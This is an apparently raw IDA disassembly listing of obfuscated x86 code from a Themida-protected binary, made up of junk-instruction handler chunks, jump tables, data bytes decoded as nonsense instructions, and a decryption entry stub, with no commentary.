loc_55D537: ; CODE XREF: Themida_:00554AAEj
add ebp, ebx
pop ebx
jmp loc_55BCE9
; ---------------------------------------------------------------------------
loc_55D53F: ; CODE XREF: Themida_:0055698Fj
push ecx
mov ch, 8
jmp loc_55AA2B
; ---------------------------------------------------------------------------
loc_55D547: ; CODE XREF: Themida_:0055D012j
sub esp, 4
mov [esp], esp
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
mov ebx, [esp]
push edi
mov edi, esp
push 2322h
jmp loc_55D138
; ---------------------------------------------------------------------------
loc_55D568: ; CODE XREF: Themida_:005586CCj
add eax, 9C82CA0Bh
add esi, 4DD618D3h
add esi, eax
sub esi, 4DD618D3h
pop eax
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_5557F2
; ---------------------------------------------------------------------------
loc_55D58A: ; CODE XREF: Themida_:00559FC8j
xor esi, 56707D4Eh
neg esi
jmp loc_5592A0
; ---------------------------------------------------------------------------
loc_55D597: ; CODE XREF: Themida_:00552453j
not ch
shr ch, 8
jmp loc_556B8D
; ---------------------------------------------------------------------------
loc_55D5A1: ; CODE XREF: Themida_:0055BD87j
push dword ptr [esp]
jmp loc_55AFA2
; ---------------------------------------------------------------------------
loc_55D5A9: ; CODE XREF: Themida_:0055A37Ej
pop dword ptr [esp]
jmp loc_5532C5
; ---------------------------------------------------------------------------
loc_55D5B1: ; CODE XREF: Themida_:0055956Ej
pop eax
and ch, 5Ch
shl ch, 6
shr ch, 8
add ch, 0C6h
sub al, 8Ch
add al, ch
add al, 8Ch
push dword ptr [esp]
pop ecx
add esp, 4
push 183Bh
mov [esp], ecx
mov ch, 99h
jmp loc_553BC1
; ---------------------------------------------------------------------------
loc_55D5DA: ; CODE XREF: Themida_:0055C2A1j
pop edi
push ebx
mov ebx, 4
jmp loc_558D05
; ---------------------------------------------------------------------------
loc_55D5E6: ; CODE XREF: Themida_:00558428j
mov ch, [esp]
jmp loc_55A6BC
; ---------------------------------------------------------------------------
loc_55D5EE: ; CODE XREF: Themida_:005557AFj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_552697
; ---------------------------------------------------------------------------
loc_55D604: ; CODE XREF: Themida_:00557280j
mov al, dh
jmp loc_551FA8
; ---------------------------------------------------------------------------
loc_55D60B: ; CODE XREF: Themida_:00556462j
mov edx, [esp]
add esp, 4
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55D619: ; CODE XREF: Themida_:0055D038j
mov [esp], ebx
sub dword ptr [esp], 172F7F0Ch
pop edi
add edi, 172F7F0Ch
mov ebx, [esp]
add esp, 4
shl edi, 2
sub edi, 392DAE47h
inc edi
push 6CC4h
mov [esp], ebx
push edi
mov edi, 3ABB4D6Bh
mov ebx, edi
pop edi
not ebx
jmp loc_553954
; ---------------------------------------------------------------------------
loc_55D652: ; CODE XREF: Themida_:0055DCC4j
add esp, 4
jmp loc_559D34
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55D668: ; CODE XREF: Themida_:0055D4CCj
xchg ecx, [esp]
mov esp, [esp]
add [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55D678: ; CODE XREF: Themida_:0055AF5Bj
mov esi, esp
add esi, 4
add esi, 4
jmp loc_554DCE
; ---------------------------------------------------------------------------
loc_55D688: ; CODE XREF: Themida_:00554E32j
pop esp
jmp loc_551D73
; ---------------------------------------------------------------------------
loc_55D68E: ; CODE XREF: Themida_:0055838Ej
mov ebp, 296F4A21h
dec ebp
shl ebp, 1
sub esp, 4
mov [esp], edx
mov edx, 58F07982h
jmp loc_5572E4
; ---------------------------------------------------------------------------
push 1A7Fh
mov [esp], esp
jmp loc_5595ED
; ---------------------------------------------------------------------------
loc_55D6B3: ; CODE XREF: Themida_:0055A139j
xchg eax, [esp]
mov esp, [esp]
mul ecx
push ebx
mov ebx, esp
jmp loc_5563A6
; ---------------------------------------------------------------------------
loc_55D6C3: ; CODE XREF: Themida_:0055CD2Dj
push ebp
mov ebp, 699D112Eh
inc ebp
jmp loc_553A7F
; ---------------------------------------------------------------------------
loc_55D6CF: ; CODE XREF: Themida_:0055AC33j
add eax, ebx
pop ebx
sub eax, ebx
push esi
mov esi, 7FE35075h
sub eax, 685B56F7h
sub eax, esi
jmp loc_55C27E
; ---------------------------------------------------------------------------
loc_55D6E6: ; CODE XREF: Themida_:00559DC6j
or edi, ebp
jmp loc_554496
; ---------------------------------------------------------------------------
loc_55D6ED: ; CODE XREF: Themida_:00553235j
xor edi, [esp]
jmp loc_55B3A6
; ---------------------------------------------------------------------------
loc_55D6F5: ; CODE XREF: Themida_:0055B7DBj
add ebx, ecx
jmp loc_55D284
; ---------------------------------------------------------------------------
loc_55D6FC: ; CODE XREF: Themida_:00554CB2j
not ecx
sub ecx, 6F9B0007h
add ecx, 45912392h
jmp loc_55C65B
; ---------------------------------------------------------------------------
loc_55D70F: ; CODE XREF: Themida_:00552D21j
push ebx
mov ebx, 7D424D5Ch
sub ebx, 7A9F0730h
xor ebx, 12E904C3h
or edx, ebx
pop ebx
neg edx
jmp loc_557EC2
; ---------------------------------------------------------------------------
loc_55D72B: ; CODE XREF: Themida_:005531FEj
add ebp, ecx
sub ebp, 1EC17E61h
push 5400h
mov [esp], edi
mov edi, 64537AD8h
jmp loc_554357
; ---------------------------------------------------------------------------
loc_55D745: ; CODE XREF: Themida_:0055CFB1j
pop edx
mov ecx, [esp]
add esp, 4
jmp loc_5566E6
; ---------------------------------------------------------------------------
loc_55D754: ; CODE XREF: Themida_:0055D473j
push ebx
mov ebx, 6E6349FBh
xor ebx, 3C63198h
push edx
mov edx, 6D9377FCh
sub ebx, edx
pop edx
jmp loc_55DB23
; ---------------------------------------------------------------------------
loc_55D76E: ; CODE XREF: Themida_:00558ACEj
xor ah, 0D4h
sub ah, 9Fh
jmp loc_55C2A6
; ---------------------------------------------------------------------------
loc_55D779: ; CODE XREF: Themida_:0055C28Cj
push 2B6C72DDh
pop edx
push ebp
mov ebp, 6ABD1B4Ah
jmp loc_554311
; ---------------------------------------------------------------------------
loc_55D78A: ; CODE XREF: Themida_:00556F79j
push eax
mov ah, 0EAh
sub esp, 4
jmp loc_556CD3
; ---------------------------------------------------------------------------
loc_55D795: ; CODE XREF: Themida_:0055537Cj
pop ecx
xor esi, [esp]
jmp loc_55B497
; ---------------------------------------------------------------------------
loc_55D79E: ; CODE XREF: Themida_:0055DB57j
mov ebx, esp
add ebx, 4
jmp loc_554D72
; ---------------------------------------------------------------------------
loc_55D7AB: ; CODE XREF: Themida_:0055A273j
sub bl, ch
pop ecx
sub bl, 2Fh
sub bl, 0B6h
sub bl, ah
add bl, 0B6h
add bl, 2Fh
push edx
jmp loc_5548F1
; ---------------------------------------------------------------------------
loc_55D7C2: ; CODE XREF: Themida_:00559BCEj
pop ebx
push 5F85h
mov [esp], esi
jmp loc_55B2BD
; ---------------------------------------------------------------------------
loc_55D7D0: ; CODE XREF: Themida_:0055C6F1j
pop eax
add eax, 7F882A59h
push dword ptr [esp]
jmp loc_555F79
; ---------------------------------------------------------------------------
loc_55D7DE: ; CODE XREF: Themida_:00557C0Fj
pop eax
mov eax, [esp]
jmp loc_55D459
; ---------------------------------------------------------------------------
loc_55D7E7: ; CODE XREF: Themida_:0055C4CDj
add esp, 4
bswap eax
push 2043h
mov [esp], eax
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55D7F9: ; CODE XREF: Themida_:00554FD2j
push 27B8h
mov [esp], esi
mov esi, 4
add ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
sub bl, 90h
push edx
mov dh, 93h
add bl, dh
pop edx
sub bl, al
push edx
mov dl, 36h
neg dl
add dl, 0E0h
jmp loc_552132
; ---------------------------------------------------------------------------
loc_55D827: ; CODE XREF: Themida_:0055AA03j
mov eax, ebx
pop ebx
push eax
pop ebx
pop eax
push ebp
mov ebp, 78367462h
or ebx, ebp
mov ebp, [esp]
add esp, 4
not ebx
jmp loc_553D5A
; ---------------------------------------------------------------------------
loc_55D842: ; CODE XREF: Themida_:00559E70j
mov esp, [esp]
mov [esp], eax
push esp
pop eax
push ebx
mov ebx, 4
push ebx
mov ebx, 8051D61h
jmp loc_556516
; ---------------------------------------------------------------------------
loc_55D85B: ; CODE XREF: Themida_:00551C45j
mov dl, 0BFh
sub bl, dl
pop dx
add al, 0F7h
sub al, bl
sub al, 0F7h
mov ebx, [esp]
add esp, 4
sub al, 0DDh
jmp loc_559FF4
; ---------------------------------------------------------------------------
loc_55D877: ; CODE XREF: Themida_:00557A21j
pop ebx
mov edx, [esp]
jmp loc_55B77C
; ---------------------------------------------------------------------------
loc_55D880: ; CODE XREF: Themida_:00558B37j
add esp, 4
or eax, eax
jz loc_5538D3
push dword ptr [edi+1Ch]
push eax
mov eax, 1F06324Bh
neg eax
sub eax, 0B4285D66h
jmp loc_55DA09
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_551FE8
; ---------------------------------------------------------------------------
loc_55D8A9: ; CODE XREF: Themida_:00554341j
push eax
push edx
mov edx, 4
push edx
pop eax
mov edx, [esp]
jmp loc_556F4D
; ---------------------------------------------------------------------------
loc_55D8BA: ; CODE XREF: Themida_:00555B76j
mov ecx, 7DD5C5AEh
push esi
mov esi, 376F53C1h
xor esi, 50317507h
sub eax, esi
pop esi
jmp loc_559302
; ---------------------------------------------------------------------------
loc_55D8D3: ; CODE XREF: Themida_:005551E7j
mov [esp], edi
jmp loc_55B8ED
; ---------------------------------------------------------------------------
loc_55D8DB: ; CODE XREF: Themida_:00552352j
mov [esp], ebp
mov ebp, 76247CF4h
xor ebp, 76247CF0h
add eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_555616
; ---------------------------------------------------------------------------
loc_55D8FA: ; CODE XREF: Themida_:0055A7B3j
sub esi, 31C41EA3h
add esi, eax
jmp loc_55CC37
; ---------------------------------------------------------------------------
loc_55D907: ; CODE XREF: Themida_:0055233Ej
sub ebx, 5B3D32D0h
pop edx
or ebx, 4966351Eh
or ebx, 2C9355BBh
sub ebx, 0DA7515Dh
or ebx, 45EF4B38h
add ebx, 450653D6h
xor ebx, 0AB05C354h
add esi, ebx
pop ebx
push esi
mov esi, esp
jmp loc_553776
; ---------------------------------------------------------------------------
loc_55D93D: ; CODE XREF: Themida_:0055C3D9j
sub al, 0E9h
push small 6FE9h
mov [esp], cx
mov ch, 0F4h
jmp loc_55DBF2
; ---------------------------------------------------------------------------
loc_55D94E: ; CODE XREF: Themida_:0055C385j
mov edx, 492955B7h
not edx
sub edx, 3F4D0429h
shr edx, 7
add edx, 63CC41ACh
not edx
jmp loc_5545EB
; ---------------------------------------------------------------------------
loc_55D96B: ; CODE XREF: Themida_:005599DCj
push edi
jmp loc_5585E7
; ---------------------------------------------------------------------------
loc_55D971: ; CODE XREF: Themida_:005534F5j
add edx, 47437B57h
dec edx
add edx, 3F7E5F84h
push ebx
push edx
jmp loc_556D7D
; ---------------------------------------------------------------------------
loc_55D985: ; CODE XREF: Themida_:0055B62Cj
mov esp, [esp]
sub al, dl
pop dx
push 4F74h
mov [esp], ecx
jmp loc_559635
; ---------------------------------------------------------------------------
loc_55D999: ; CODE XREF: Themida_:00555455j
add ebx, 999312Fh
pop edi
push 2988h
mov [esp], eax
mov eax, 2236215Ah
add ebx, eax
pop eax
add ebx, eax
sub ebx, 2236215Ah
push 377h
jmp loc_55BB19
; ---------------------------------------------------------------------------
loc_55D9C2: ; CODE XREF: Themida_:005547BCj
shl bp, 7
add bp, 4F2Ch
shl bp, 8
jmp loc_557A56
; ---------------------------------------------------------------------------
loc_55D9D4: ; CODE XREF: Themida_:00555562j
pop ebx
jmp loc_5563DF
; ---------------------------------------------------------------------------
loc_55D9DA: ; CODE XREF: Themida_:005592DCj
sub esp, 4
mov [esp], edx
pop edi
pop edx
mov ebx, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_55A93E
; ---------------------------------------------------------------------------
loc_55D9F8: ; CODE XREF: Themida_:005544DDj
mov esp, [esp]
xor [esp], eax
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55DA03: ; CODE XREF: Themida_:0055572Cj
pop edx
jmp loc_556F55
; ---------------------------------------------------------------------------
loc_55DA09: ; CODE XREF: Themida_:0055D89Bj
sub dword ptr [esp+4], 3308717Ch
push eax
mov eax, 0C66360Dh
jmp loc_5583ED
; ---------------------------------------------------------------------------
loc_55DA1C: ; CODE XREF: Themida_:0055CA93j
pop ebp
jmp loc_553978
; ---------------------------------------------------------------------------
loc_55DA22: ; CODE XREF: Themida_:0055A529j
mov ebp, 2
jmp loc_5524F4
; ---------------------------------------------------------------------------
loc_55DA2C: ; CODE XREF: Themida_:0055CB6Fj
push esi
mov esi, 4C9E7AEEh
mov ebx, 80D99A72h
sub ebx, esi
pop esi
mov ecx, 0D29D1214h
add ecx, ebx
pop ebx
sub ecx, 71536BEFh
shl ecx, 8
jmp loc_557EF9
; ---------------------------------------------------------------------------
loc_55DA50: ; CODE XREF: Themida_:0055DA69j
push ebx
push ecx
push esi
jmp loc_556298
; ---------------------------------------------------------------------------
loc_55DA58: ; CODE XREF: Themida_:0055AED8j
mov esp, [esp]
push dword ptr [esp]
pop ecx
push 78CFh
mov [esp], ebp
push esp
pop ebp
jmp loc_55DA50
; ---------------------------------------------------------------------------
loc_55DA6E: ; CODE XREF: Themida_:0055B06Fj
pop edx
jmp loc_5544CD
; ---------------------------------------------------------------------------
loc_55DA74: ; CODE XREF: Themida_:0055BEF5j
add eax, 5E4B2A51h
shr eax, 5
xor eax, 466B5A6h
add ebx, eax
push dword ptr [esp]
pop eax
add esp, 4
push edi
mov edi, 2
add ebx, 0E47129h
sub ebx, edi
sub ebx, 0E47129h
pop edi
xchg ebx, [esp]
jmp loc_5549FA
; ---------------------------------------------------------------------------
loc_55DAAA: ; CODE XREF: Themida_:00554C09j
shl eax, 1
jmp loc_55C327
; ---------------------------------------------------------------------------
loc_55DAB1: ; CODE XREF: Themida_:0055B5E0j
push 4BB8h
mov [esp], ebx
mov bx, 6DCEh
push ebx
mov bx, 0AFFh
not bx
and bx, 1071h
sub bx, 6B63h
mov cx, bx
pop ebx
xor cx, bx
jmp loc_5521CE
; ---------------------------------------------------------------------------
loc_55DADB: ; CODE XREF: Themida_:0055B4D0j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55DAE0: ; CODE XREF: Themida_:00555913j
push edx
mov dh, 8Fh
jmp loc_55AE70
; ---------------------------------------------------------------------------
loc_55DAE8: ; CODE XREF: Themida_:0055452Fj
sub al, 1Dh
push 0DD0h
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 2
xchg ecx, [esp]
jmp loc_559D5D
; ---------------------------------------------------------------------------
loc_55DB05: ; CODE XREF: Themida_:00554752j
add esp, 4
sub bl, ch
pop ecx
add bl, al
jmp loc_55700E
; ---------------------------------------------------------------------------
loc_55DB15: ; CODE XREF: Themida_:005531A7j
push ebp
mov ebp, 5FA23A09h
shr ebp, 7
jmp loc_55BB67
; ---------------------------------------------------------------------------
loc_55DB23: ; CODE XREF: Themida_:0055D769j
push edx
mov edx, 40726B7Dh
sub ebx, edx
pop edx
dec ebx
xor ebx, 9A83D754h
jmp loc_55C739
; ---------------------------------------------------------------------------
loc_55DB38: ; CODE XREF: Themida_:0055A3B5j
add eax, ebx
pop ebx
xor eax, [esp]
jmp loc_555429
; ---------------------------------------------------------------------------
loc_55DB43: ; CODE XREF: Themida_:0055DBEDj
mov esp, [esp]
push 3A6Fh
mov [esp], ebx
jmp loc_552F4D
; ---------------------------------------------------------------------------
loc_55DB53: ; CODE XREF: Themida_:0055B15Aj
mov eax, [esp]
push ebx
jmp loc_55D79E
; ---------------------------------------------------------------------------
loc_55DB5C: ; CODE XREF: Themida_:0055BFB6j
mov [esp], esi
jmp loc_55334F
; ---------------------------------------------------------------------------
loc_55DB64: ; CODE XREF: Themida_:0055D111j
push esi
mov esi, 64C92C10h
neg esi
dec esi
jmp loc_55B405
; ---------------------------------------------------------------------------
loc_55DB72: ; CODE XREF: Themida_:0055A71Fj
pop esi
add esi, edi
pop edi
xchg esi, [esp]
pop esp
jmp loc_55BC6C
; ---------------------------------------------------------------------------
loc_55DB7F: ; CODE XREF: Themida_:0055D372j
push eax
mov ah, 0C6h
sub bh, ah
pop eax
sub dl, bh
mov ebx, [esp]
add esp, 4
jmp loc_55DBD1
; ---------------------------------------------------------------------------
loc_55DB92: ; CODE XREF: Themida_:00556369j
add [esp+8], ebx
sub dword ptr [esp+8], 38596494h
pop ebx
jmp loc_553053
; ---------------------------------------------------------------------------
loc_55DBA4: ; CODE XREF: Themida_:0055BFC7j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
and eax, edx
mov edx, [esp]
push esi
push 65D1h
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
jmp loc_555B9E
; ---------------------------------------------------------------------------
loc_55DBD1: ; CODE XREF: Themida_:0055DB8Dj
sub al, dl
jmp loc_552E28
; ---------------------------------------------------------------------------
loc_55DBD8: ; CODE XREF: Themida_:0055D17Fj
sub dl, 1
sub ch, dl
jmp loc_559498
; ---------------------------------------------------------------------------
loc_55DBE2: ; CODE XREF: Themida_:005540A0j
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_55DB43
; ---------------------------------------------------------------------------
loc_55DBF2: ; CODE XREF: Themida_:0055D949j
add al, 7Bh
add al, 0EEh
add al, ch
sub al, 0EEh
sub al, 7Bh
pop cx
add al, 75h
sub al, bl
sub al, 75h
jmp loc_55970A
; ---------------------------------------------------------------------------
loc_55DC09: ; CODE XREF: Themida_:0055358Dj
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
and [esp], al
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55DC1B: ; CODE XREF: Themida_:0055CE27j
shr cl, 6
jmp loc_553151
; ---------------------------------------------------------------------------
loc_55DC23: ; CODE XREF: Themida_:0055BE58j
push ebx
push esi
push ecx
push 7C360CD3h
pop ecx
inc ecx
inc ecx
shr ecx, 1
add ecx, 1A203026h
mov esi, ecx
pop ecx
jmp loc_55BF49
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ebx
mov bh, 92h
sub esp, 4
jmp loc_55B90A
; ---------------------------------------------------------------------------
loc_55DC4C: ; CODE XREF: Themida_:00555C75j
add ecx, esi
pop esi
mov edi, [esp]
jmp loc_558E9A
; ---------------------------------------------------------------------------
mov eax, [esp]
push 2726h
mov [esp], ebx
push esp
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push ebp
mov ebp, esp
push edx
jmp loc_55348D
; ---------------------------------------------------------------------------
loc_55DC78: ; CODE XREF: Themida_:0055A152j
mov edi, 60E3648Bh
push eax
mov eax, 0ED22970h
xor eax, 78EB2226h
jmp loc_55B8C3
; ---------------------------------------------------------------------------
loc_55DC8D: ; CODE XREF: Themida_:0055BAEBj
push ebp
push 3CD63DC0h
pop ebp
add dword ptr [esp+4], 0B26361Dh
add [esp+4], ebp
jmp loc_55965D
; ---------------------------------------------------------------------------
loc_55DCA5: ; CODE XREF: Themida_:00554246j
mov edx, esp
jmp loc_553DDF
; ---------------------------------------------------------------------------
loc_55DCAC: ; CODE XREF: Themida_:0055B38Ej
mov edx, [esp]
push ecx
mov ecx, esp
jmp loc_55198C
; ---------------------------------------------------------------------------
loc_55DCB7: ; CODE XREF: Themida_:0055C10Fj
mov edi, ebp
pop ebp
add edx, edi
jmp loc_55686E
; ---------------------------------------------------------------------------
loc_55DCC1: ; CODE XREF: Themida_:00557FAEj
mov edi, [esp]
jmp loc_55D652
; ---------------------------------------------------------------------------
loc_55DCC9: ; CODE XREF: Themida_:0055604Cj
pop ebp
and ecx, 1DBF1EC4h
jmp loc_55B0B5
; ---------------------------------------------------------------------------
loc_55DCD5: ; CODE XREF: Themida_:00558063j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_554191
; ---------------------------------------------------------------------------
loc_55DCE3: ; CODE XREF: Themida_:0055AC9Ej
shl eax, 1
add eax, 0D42D2204h
add ebp, 6C2C7DD8h
add ebp, eax
sub ebp, 6C2C7DD8h
mov eax, [esp]
jmp loc_553FCC
; ---------------------------------------------------------------------------
loc_55DD00: ; CODE XREF: Themida_:0055B1D3j
mov ecx, 52D4613Dh
push edi
jmp loc_553809
; ---------------------------------------------------------------------------
loc_55DD0B: ; CODE XREF: Themida_:00557BE7j
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], ax
jmp loc_553985
; ---------------------------------------------------------------------------
loc_55DD1B: ; CODE XREF: Themida_:005586C3j
pop ecx
jmp loc_5563F7
; ---------------------------------------------------------------------------
loc_55DD21: ; CODE XREF: Themida_:005528D9j
mov eax, 386D084Bh
or eax, 1B686919h
shr eax, 7
add eax, 34369044h
jmp loc_557038
; ---------------------------------------------------------------------------
loc_55DD38: ; CODE XREF: Themida_:005528BCj
add esi, edx
mov edx, [esp]
add esp, 4
mov ecx, esi
pop esi
shr ecx, 7
add ecx, 0DE0BEC7Ah
xor ebx, ecx
jmp loc_554CF2
; ---------------------------------------------------------------------------
loc_55DD56: ; CODE XREF: Themida_:00555F8Fj
mov ebx, edx
mov edx, [esp]
push edx
jmp loc_5580A0
; ---------------------------------------------------------------------------
loc_55DD61: ; CODE XREF: Themida_:0055B88Fj
mov [esp], eax
mov eax, esp
jmp loc_55C50E
; ---------------------------------------------------------------------------
loc_55DD6B: ; CODE XREF: Themida_:00557634j
mov edi, esp
add edi, 4
jmp loc_553A6D
; ---------------------------------------------------------------------------
dd 0A269DDh, 0CF3E8D8Dh, 5B7A9Ah, 0AE0Eh, 0F9AC9A0Dh, 7FFE0304h
dd 5C3419E8h, 217h, 2, 1, 0
dd 0F9AC9A0Dh, 5 dup(0)
dd offset loc_55E669
dd offset loc_564E28
dd offset loc_562F8F
dd offset loc_56EF67
dd offset loc_57142E
dd offset loc_55FEC1
dd offset loc_56448F
dd offset loc_5698E5
dd offset loc_56E2BA
dd offset loc_568C24
dd offset loc_564E20
dd offset loc_56A323
dd offset loc_5627C6
dd offset loc_57002B
dd offset loc_56571D
dd offset loc_56E16A
; ---------------------------------------------------------------------------
jmp short loc_55DE07
; ---------------------------------------------------------------------------
push esi
add [esi-0Ah], cl
push esi
add [esi+2Fh], al
push esi
loc_55DE07: ; CODE XREF: Themida_:0055DDFCj
add [ecx-10h], dl
push esi
add dl, ah
in al, 55h
add [ecx-17h], cl
push esi
add al, ah
sub [edi+0], dl
jns short loc_55DE7A
push esi
add ds:9E0056BEh, dh
xchg eax, edx
push esi
add [ebp-30h], cl
push esi
add [eax+1800562Fh], dh
mov [esi+0], dl
dec edi
or eax, 2C0D0056h
push esi
add [esi], bl
stc
push esi
add [edx], bh
mov ss, word ptr [esi+0]
adc al, 18h
push esi
add [esi], dh
dec ebp
push esi
add bl, ah
call far ptr 56h:5AC0056h
not byte ptr [edx]
push edi
add al, bh
push 56h
add [ecx-7Eh], ah
push esi
add al, dh
pop ss
push edi
add [edi+4Eh], ah
push esi
add cl, ah
mov dl, 56h
add dl, dh
pop ss
push esi
add [ebp-27h], dl
push esi
add [edi+27005609h], ah
sub edx, [esi+0]
jo short near ptr loc_55DEF7+1
loc_55DE7A: ; CODE XREF: Themida_:0055DE18j
push esi
add [edi-0EFFA9B6h], bh
rcl dword ptr [esi+0], 1
sub [ebx], eax
push edi
add ds:4400564Fh, al
repne push ebp
add [edi], dh
loopne loc_55DEE9
add ah, dh
xlat
push esi
add dl, dh
add [edi+0], dl
lahf
in eax, 55h
add [ecx+6Dh], bh
push esi
add [eax+56h], al
add [ebx+79h], dh
push esi
add al, dl
sbb al, 57h
add [ecx+9], al
push edi
add [ebx-75FFA982h], al
and eax, 71050056h
push esi
add al, ch
icebp
push ebp
add [ebx-68FFA9CEh], bh
push si
add [ecx], dh
out 56h, al
add [esi], ch
xchg eax, ecx
push esi
add al, bl
out dx, al
push esi
add ch, cl
adc byte ptr [esi+0], 3Dh
stosb
push esi
add [esi], dl
or [esi+0], edx
sub eax, 47005656h
loc_55DEE9: ; CODE XREF: Themida_:0055DE91j
jl short loc_55DF41
add [ebp+3Fh], ch
push esi
add [edi], cl
std
push esi
add ah, bh
db 26h
push esi
loc_55DEF7: ; CODE XREF: Themida_:0055DE78j
add [ecx+12h], al
push esi
add [ebx+70h], dl
push esi
add [ebx-0Fh], al
push ebp
add [eax+edi*8+56h], bl
add [edi], bh
adc al, 57h
add [edi-16h], ch
push esi
add [edx+7Dh], cl
push esi
add [eax], bl
clc
push ebp
add ah, ch
outsb
push esi
add dl, dl
and dl, [esi+0]
mov eax, ds:0F005606h
pop es
push edi
add ch, dl
jb short loc_55DF81
add [ebp+38005704h], bl
in al, 56h
add [ecx-2Ch], dl
push esi
add [edx+20h], dl
push esi
add [edi-51h], dh
push esi
add dl, dl
loc_55DF41: ; CODE XREF: Themida_:loc_55DEE9j
and edx, [esi+0]
or edi, ebp
push ebp
add [edi-78h], bl
push esi
add bh, al
inc edi
push esi
add [ecx-2Bh], cl
push esi
add [edx], bl
dec ecx
push esi
add [edi], ah
fcom qword ptr [esi+0]
test al, 0C0h
push esi
add [esi+29h], dl
push esi
add dl, bh
mov dl, [esi+0]
in eax, dx
fcom qword ptr [esi+0]
movsb
nop
push esi
add [ebx+74h], ch
push esi
add cl, ch
xor [esi+0], edx
and al, 62h
push esi
add [esi+660055F0h], bh
loc_55DF81: ; CODE XREF: Themida_:0055DF29j
loop loc_55DFD9
add bh, dl
pop ds
push edi
add [edi], bh
jp short near ptr loc_55DFE0+1
add dl, ch
push ebp
push esi
add [ecx-80h], dh
push esi
add dl, al
rcl dword ptr [esi+0], cl
push edi
adc edx, [esi+0]
dec edx
or [esi+0], dl
retf
; ---------------------------------------------------------------------------
db 8Eh, 56h, 0
dd offset loc_569B96
dd offset loc_560D42
dd offset loc_56AEE3
dd offset loc_566D32
dd offset loc_56D25E
dd offset loc_565D21
dd offset loc_571E1B
dd offset loc_56A657
dd offset loc_561F80
dd offset loc_56480D
dd offset loc_570380
dd offset loc_56DA66
dd offset loc_571DFB
db 88h
; ---------------------------------------------------------------------------
loc_55DFD9: ; CODE XREF: Themida_:loc_55DF81j
lock push ebp
add bh, ch
not byte ptr [esi+0]
loc_55DFE0: ; CODE XREF: Themida_:0055DF89j
jl short loc_55E00C
push edi
add [edx+77005684h], ch
icebp
push esi
add ds:0EF005653h, bl
retn 56h
; ---------------------------------------------------------------------------
dd offset loc_55F3CE
dd offset loc_55F683
dd offset loc_56F7FD
dd offset loc_572B75
dd offset loc_561921
dd offset loc_56524B
; ---------------------------------------------------------------------------
loc_55E00C: ; CODE XREF: Themida_:loc_55DFE0j
and esi, ebp
push esi
add ch, ch
and [esi+0], dl
xor [eax], cl
push esi
add bh, ch
push 56h
add [eax], bh
push edi
push esi
add [esi], al
rcl dword ptr [esi+0], 1
bound esp, [eax]
push esi
add al, dh
xchg eax, esp
push esi
add [eax+29005712h], bh
push si
add [ebx], ah
pop esp
push esi
add [eax], bl
push ds
push esi
add [ebx], dl
pop esp
push esi
add [edi], ch
pop ecx
push esi
add [esi-7DFFA91Eh], bl
cmpsd
push esi
add ch, bl
push ebx
push esi
add [edi+eax*8], bl
push esi
; ---------------------------------------------------------------------------
db 0
dd offset sub_562ABA
; ---------------------------------------------------------------------------
loc_55E058: ; CODE XREF: Themida_:0059F046j
; Themida_:0059F050j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6A94653h
mov eax, edi
add edi, 6A9436Bh
cmp eax, [edi+2Ch]
jnz short loc_55E076
jmp short loc_55E089
; ---------------------------------------------------------------------------
loc_55E076: ; CODE XREF: Themida_:0055E072j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_55E085
; ---------------------------------------------------------------------------
loc_55E080: ; CODE XREF: Themida_:0055E087j
add [edi+ecx*4+40h], eax
dec ecx
loc_55E085: ; CODE XREF: Themida_:0055E07Ej
or ecx, ecx
jnz short loc_55E080
loc_55E089: ; CODE XREF: Themida_:0055E074j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_55E096: ; CODE XREF: Themida_:0055E09Dj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_55E096
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55E09F: ; CODE XREF: sub_562ABA-4811j
; sub_562ABA-47CCj ...
lodsb
xor al, bl
push small 0BC5h
mov word ptr [esp+2+var_4+2], cx
push 611Fh
mov [esp+6+var_8+2], eax
jmp loc_56C0D1
; ---------------------------------------------------------------------------
loc_55E0B7: ; CODE XREF: sub_562ABA+425Dj
pop ebx
add eax, edx
push ecx
mov ecx, 32316506h
add eax, ecx
pop ecx
sub eax, 691C3C5Ch
sub esp, 4
mov [esp+6+var_8+2], esi
push edx
jmp loc_568065
; ---------------------------------------------------------------------------
loc_55E0D4: ; CODE XREF: sub_562ABA+B123j
mov ecx, 2E1D5515h
add ecx, 177E0D1Bh
sub ecx, eax
sub ecx, 177E0D1Bh
pop eax
sub ecx, 328F00F9h
sub ecx, 0C095EFAh
shl ecx, 5
jmp loc_567949
; ---------------------------------------------------------------------------
loc_55E0FC: ; CODE XREF: sub_562ABA+A110j
add ecx, 694D30ADh
xor ecx, 0D35E4E61h
jmp loc_56578A
; ---------------------------------------------------------------------------
loc_55E10D: ; CODE XREF: sub_562ABA+2CA1j
xor edi, edx
pop edx
add eax, edi
pop edi
push ecx
mov ecx, 75034A06h
sub ecx, 0FFFFFFFFh
sub ecx, 450B7196h
sub ecx, 6C7F366Eh
